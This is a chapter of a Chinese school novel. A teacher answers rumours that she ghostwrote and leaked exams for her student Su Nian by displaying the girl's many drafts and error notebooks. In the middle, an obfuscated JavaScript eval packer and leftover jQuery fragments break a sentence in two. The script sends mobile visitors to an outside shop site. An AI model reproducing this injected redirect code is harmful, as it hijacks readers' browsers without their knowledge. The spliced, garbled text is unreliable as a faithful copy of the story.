上午第一节是数学课。
刘国强拿着三角板，用粉笔在黑板上画了个圆，中间穿插几条相交的直线。粉笔末在一束斜射进窗户的光里浮动。
苏念坐在最后一排，低头翻看一本泛黄的《几何证明原本》。她照着书里的思路，在草稿纸上添了条辅助线，原本毫无头绪的题目，豁然开朗。
那个没署名的粉色信封还揣在校服口袋里，边缘硌着手。
下课铃响。
刘国强把三角板往讲桌上一扔，拍掉手上的粉笔灰，端起茶杯走了出去。
他前脚刚走，教室里就闹开了。
李思思拿着塑料梳子，转过身背靠着周雨晴的课桌。她一边梳头，一边跟隔壁过道的刘燕说话，声音没收着，话音刚好能飘到最后一排。
“我就说，城中村出来的，怎么写得出省一等奖的文章。”李思思把梳子上的掉发扯下来，随手扔在地上，“原来是走了后门。”
刘燕拿出一面小镜子照着：“可不是，林老师天天把她叫去旧图书馆，谁知道那作文是谁写的。搞不好是林老师代笔，署她的名。”
“举报信都投到教务处了。”李思思压低了声音，但每个字都送得清清楚楚，“说林老师透题，还代笔。这次期末考，有些人数学要是及格了，没准也是提前拿了卷子。”
周雨晴坐在原位，低头做英语完形填空，笔尖在纸上划过，既没出声，也没掺和。
陈小满刚从校卖部回来，撕开一袋干脆面，正准备往嘴里倒。
听到这话，她的手停在半空。
她捏紧干脆面袋子，大步走到第一排，把袋子往李思思桌角上用力一拍。
“啪”的一声，干脆面碎了。
李思思吓了一跳，手里的梳子掉在地上。
“陈小满你发什么疯！”李思思瞪着她。
陈小满指着李思思的鼻子。
“自己写不出好文章，就说别人作弊？”陈小满嗓门很高，全班都听见了，“苏念中午在旧图书馆看书，你在干嘛？你在走廊聊八卦。苏念天天写东西改错字，你在抄周雨晴的数学作业。有本事你也写一篇省一等奖，别在这儿放酸屁！”
李思思脸涨得通红，站起来顶嘴：“又不是我举报的，信都到李主任那儿了，无风不起浪！”
“起你个头！”陈小满往前顶了一步，“你们就是眼红，看人家拿奖心里不舒坦，就造谣。七中怎么招了你们这种长舌妇。”
刘燕在旁边帮腔：“陈小满你嘴巴放干净点，我们只是就事论事……”
“论个屁！”陈小满人高马大，往过道中间一站，把李思思和刘燕堵得往后退了半步。
苏念放下圆规，站了起来。
她走到前排，拉住陈小满的校服袖子。
“小满，走了。”苏念开口，“去洗手。”
陈小满还在气头上，被苏念拉着往外走。到了教室前门，她还不忘回头冲李思思喊：“再让我听见你们嚼舌根，我掀了你的桌子！”
走廊尽头的水房。
陈小满拧开水龙头，水流哗哗地冲着水槽。她洗掉手上沾的干脆面调料。
“气死我了。”陈小满甩甩手上的水，“她们就是见不得你好，你平时闷声不响的，别人欺负到头上也不说话。别理她们，就是嫉妒。”
苏念从口袋里掏出纸巾递过去。
“谢谢。”苏念说。
陈小满接过纸巾擦手，愣了一下。“谢什么，咱俩是同桌，互助小组，我罩着你。”
她把纸巾揉成一团，扔进旁边的垃圾桶。
转过头，陈小满看着苏念：“以后她们再欺负你，你告诉我，我帮你揍她们！”
苏念看着她气鼓鼓的脸，没忍住，扑哧一声笑了出来。
笑声很轻，却很真实。
陈小满睁大眼：“你还会笑啊？我以为你不会笑呢。”
苏念没说话。她把手揣回校服口袋，碰到了那个粉色信封。以前她习惯一个人扛着，把委屈都写进本子里。现在，有个人挡在她前面，替她把心里的话都骂了出来。
下午第一节是语文课。
铃声响过，走廊里传来脚步声。
林知意走进教室。她今天空着手，没拿教案也没拿课本，怀里只抱着一个纸箱。
纸箱看着不轻。林知意把它放在讲桌上，发出一声闷响。
教室里鸦雀无声。李思思和刘燕交换了个眼色。周雨晴也停了笔，看着那个纸箱。
林知意打开纸箱，里面装满了本子和一沓沓用长尾夹夹好的稿纸。
“今天不上新课。”林知意拿起一摞稿纸，语气平淡，“早上，教务处李主任找我谈话，有匿名信举报，说我给苏念的作文代笔，还提前给她透露了期末考试的题目。”
底下起了轻微的骚动。
林知意没发火，也没讲大道理。
她拿起一盒图钉，抱着纸箱，走到教室后头的软木板前。那里平时用来贴通知和值日表。
“我不需要向教务处解释，也不需要向写信的人解释。”林知意把一张稿纸按在软木板上，用图钉扎了进去，“我只需要把事实摆出来。”
林知意转身，从纸箱里拿出一个黑色硬皮本，是苏念最早用的那个。
她把本子翻开，用图钉固定在板上。
“这是苏念九月份的随笔。”林知意指着上面的字，“满篇错字，句子不通。我没改内容，只改了标点和错字。”
接着，她拿出一沓泛黄的稿纸。
“这是十月份，她为‘青春杯’写的十三版废稿。”林知意把稿纸一张张展开，贴在软木板上。
纸上全是修改的痕迹。黑笔是正文，红笔划掉，旁边用蓝笔补充。有的地方反复涂改，纸都被橡皮擦破了。
“这篇《外婆的手》，她改了半个月。为了写好洗胡萝卜的动作，同一段话她重写了二十遍。”
林知意贴完稿纸，又从箱底拿出一本厚厚的错题本。
“至于透题。”她把错题本摊开，贴在旁边，“这是苏念这一个月的数学错题，她每天中午在旧图书馆做两套卷子，不会的就去翻老教材。上面的每条辅助线，都是她自己拿尺子画的。”
后黑板很快被贴满了。
从字迹潦草的短句，到结构工整的长文。从画满红叉的卷子，到订正清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849301|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
晰的错题本。
林知意拍了拍手上的灰。
“写作没有捷径，学习也没有。”林知意看着全班，“有人觉得天赋和特权能决定一切，但我只信时间。时间花在哪里，看得见。”
她走回讲台，把空纸箱折好，塞进讲桌下面。
“这节课自习，想看的，自己去后面看。”林知意拉开椅子坐下，拧开钢笔笔帽，开始批作业。
教室里没人说话，只有头顶吊扇转动的声音。
过了几分钟，陈小满第一个站起来，走到后黑板前。
张逸飞把腿从课桌上放下来，也跟了过去。
接着是赵小朵，王强，然后是班里的大部分人。
李思思坐在座位上，没动。刘燕低着头，手指抠着书角。
软木板前围满了人。
张逸飞凑近了看那十三版废稿。上面有林知意的批注：“情绪太满，收一点，写动作。”旁边是苏念的修改：“外婆把手在围裙上擦了擦，没说话。”
“我靠。”张逸飞抓了抓头发，“这得用掉多少根笔芯。”
王强盯着那本错题本，上面的几何图形画得比印刷体还直，步骤清楚。
“这辅助线画的，绝了。”王强说。
那些关于代笔和透题的谣言，在这些东西面前，不攻自破。
没人能替别人写出十三版废稿，也没人能替别人把错题本写这么厚。
苏念坐在座位上，没有回头。
她低头看着桌面。林知意没问她要过这些东西，是中午托人从旧图书馆的铁皮柜子里翻出来的。
她用这种最笨也最直接的方式，把所有脏水都挡在了外面。
下午放学铃响。
值日生扫完地，背着书包走了。教室空了下来。
周雨晴还没走。她坐在第一排，把英语词典装进书包，拉好拉链。
她站起身，没有往外走，而是转身走向教室后面。
软木板上的纸页被穿堂风吹得卷起了边。
周雨晴站在布告栏前，看着那张《外婆的手》的最终定稿。
字迹不算漂亮，没有她的行楷工整，但每一笔都写得很用力。
她又看向旁边的废稿。
第一版，苏念写外婆辛苦，用了“饱经风霜”、“含辛茹苦”这类成语，被红笔划掉了。
第五版，苏念删了成语，写外婆手上的裂口。
第十三版，苏念写了半盒蛤蜊油。
周雨晴的手指抠进了校服衣角。
她想起自己的作文。航天科技，星辰大海。她背了很多名言，查了很多资料，套用了很多句式。她以为那是格局。
但她看着苏念的稿纸，发现自己的文章里什么都有，唯独没有自己。
她从没写过自己的生活。不管是成绩没考满分被父母责骂的夜晚，还是为了保住第一名熬夜掉头发的焦虑，她都不写。
她只写那些安全的、正确的、华丽的东西。
周雨晴在布告栏前站了很久。
她看着那些起了毛边的草稿，看着上面粗粝的修改痕迹，心里某个地方塌了一块。她输了，输得明明白白。